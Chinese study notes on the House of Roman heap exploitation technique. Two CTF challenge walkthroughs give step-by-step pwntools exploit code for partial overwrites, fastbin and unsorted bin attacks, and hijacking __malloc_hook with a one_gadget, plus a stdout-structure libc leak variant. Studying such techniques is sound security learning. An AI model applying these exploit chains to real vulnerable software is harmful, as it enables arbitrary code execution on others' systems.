House-Of-Roman学习笔记
字数 1916 2025-08-24 23:51:15
House of Roman 攻击技术详解
一、技术概述
House of Roman 是一种由 romanking98 在 2018 年 4 月提出的堆利用技术,主要用于无输出功能(无 show 功能)的二进制程序,通过部分地址覆盖(partial overwrite)和爆破(brute force)来绕过 ASLR 保护。
核心特点:
- 不需要泄露 libc 地址
- 结合 fastbin attack 和 unsorted bin attack
- 依赖部分地址覆盖技术
- 需要爆破(成功率约 1/4096)
二、攻击原理
House of Roman 攻击分为三个主要步骤:
- 通过部分地址覆盖修改 fastbin 的 fd:将其指向
__malloc_hook-0x23的位置(因为该位置通常有 0x7f 的伪 size 字段) - 通过 unsorted bin attack:将 main_arena 地址写入
__malloc_hook - 通过 fastbin attack:利用部分地址覆盖修改
__malloc_hook为 one gadget
三、关键技术点
1. Fastbin Attack 部分
- 目标:将 fastbin 的 fd 指向
__malloc_hook-0x23 - 关键点:
__malloc_hook-0x23处通常有 0x7f 的伪 size 字段- 需要先释放一个 fastbin chunk 到 fastbin 链中
- 通过部分地址覆盖(通常覆盖低 2 字节)修改 fd
2. Unsorted Bin Attack 部分
- 目标:将 main_arena 地址写入
__malloc_hook - 关键点:
- 需要构造 overlapping chunk 来操作 unsorted bin
- 修改 unsorted bin 的 bk 为
__malloc_hook-0x10 - 通过分配操作触发 unsorted bin attack
3. One Gadget 写入
- 目标:将
__malloc_hook覆盖为 one gadget - 关键点:
- 通过 fastbin attack 获得
__malloc_hook附近的写权限 - 使用部分地址覆盖(通常覆盖低 3 字节)修改为 one gadget 地址
- 通过 double free 或其他方式触发
__malloc_hook
- 通过 fastbin attack 获得
四、实战案例分析
案例 1:护网杯 2018 calendar
程序分析:
- 功能:add/edit/remove,无 show 功能
- 漏洞:
- off-by-one 漏洞(读取输入函数)
- remove 后未清空指针(UAF/double free)
利用步骤:
- 初始堆布局
add(0, 0x18) # 0
add(1, 0x68) # 1
add(2, 0x68) # 2
add(3, 0x68) # 3
- 构造 overlapping chunk
remove(1)
edit(0, 0x18, 'a'*0x18 + '\xe1') # off-by-one 修改 chunk1 size 为 0xe1
remove(1) # 现在 chunk1 包含 chunk2,形成 unsorted bin
- Fastbin attack 准备
add(3, 0x18) # 从 unsorted bin 分配
edit(3, 0x1, p64(libc.sym['__malloc_hook']-0x23)[:2]) # 部分覆盖 fd
edit(0, 0x18, 'a'*0x18 + '\x71') # 修复 size 为 0x71
- 获取 __malloc_hook 附近 chunk
add(1, 0x68)
add(0, 0x68) # 现在 chunk0 指向 __malloc_hook-0x13
- Unsorted bin attack
remove(1)
edit(1, 7, p64(0)) # 修复 fastbin
add(3, 0x68)
add(3, 0x48) # 分割 unsorted bin
edit(2, 0x8+1, p64(0) + p64(libc.sym['__malloc_hook']-0x10)[:2]) # 修改 bk
add(3, 0x68) # 触发 unsorted bin attack
- 写入 one gadget
one_gadget = libc.address + 0xf02a4
edit(0, 0x13+2, 'a'*0x13 + p64(one_gadget)[:3]) # 部分覆盖 __malloc_hook
remove(3)
remove(3) # 触发 __malloc_hook
案例 2:云安全共测大赛 fkroman
程序分析:
- 功能:alloc/free/edit,show 功能不可用
- 漏洞:
- 堆溢出(edit 时长度用户可控)
- free 后未清空指针
简化利用步骤:
- 初始堆布局
alloc(0, 0x10)
alloc(1, 0x60)
alloc(2, 0x60)
alloc(3, 0x60)
- 构造 overlapping chunk
free(1)
edit(0, 0x20, flat(0, 0, 0, 0xe1)) # 堆溢出修改 size
free(1)
- Fastbin attack
edit(0, 0x22, flat(0, 0, 0, 0x71) + p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4, 0x60)
alloc(5, 0x60) # 获取 __malloc_hook 附近 chunk
- Unsorted bin attack
edit(0, 0x22+8, flat(0, 0, 0, 0xe1, 0) + p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6, 0xd0) # 触发 unsorted bin attack
- 写入 one gadget
one_gadget = libc.address + 0xf1147
edit(5, 0x16, 'a'*0x13 + p64(one_gadget)[:3])
alloc(8, 0x60) # 触发 __malloc_hook
五、替代方案:IO_FILE 结构体利用
由于 House of Roman 成功率较低(1/4096),实际中更推荐使用修改 _IO_2_1_stdout_ 结构体的方法来泄露地址,成功率可提高到 1/16。
关键步骤:
- 通过 fastbin attack 修改 fd 指向 stdout 结构体附近
- 修改 stdout 结构体使其泄露 libc 地址
- 获取 libc 基址后直接攻击
__malloc_hook
示例代码:
# 修改 fd 指向 stdout 结构体附近
edit(0, 0x22, flat(0, 0, 0, 0x71) + p16(0x65dd))
alloc(4, 0x60)
alloc(5, 0x60)
# 修改 stdout 结构体泄露地址
edit(5, 0x54, 'a'*0x33 + p64(0xfbad2887 | 0x1000) + p64(0)*3 + '\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
# 常规 fastbin attack 修改 __malloc_hook
free(2)
edit(2, 0x8, p64(libc.sym['__malloc_hook'] - 0x23))
alloc(6, 0x60)
alloc(7, 0x60)
edit(7, 0x1b, 'a'*0x13 + p64(libc.address + 0xf1147))
alloc(8, 0x60)
六、防御措施
- 启用完整的 ASLR:增加爆破难度
- 堆分配器保护机制:
- 对 fastbin fd 的完整性检查
- 对 unsorted bin 操作的检查
- 代码审计:
- 检查 off-by-one 等边界错误
- 确保 free 后指针清零
- 使用最新版本的 glibc:包含更多堆保护机制
七、总结
House of Roman 是一种在无信息泄露情况下的堆利用技术,虽然成功率不高,但其技术思路值得学习。在实际利用中,更推荐使用 IO_FILE 结构体泄露地址的方法,成功率更高且更稳定。理解这些技术有助于更好地防御相关攻击。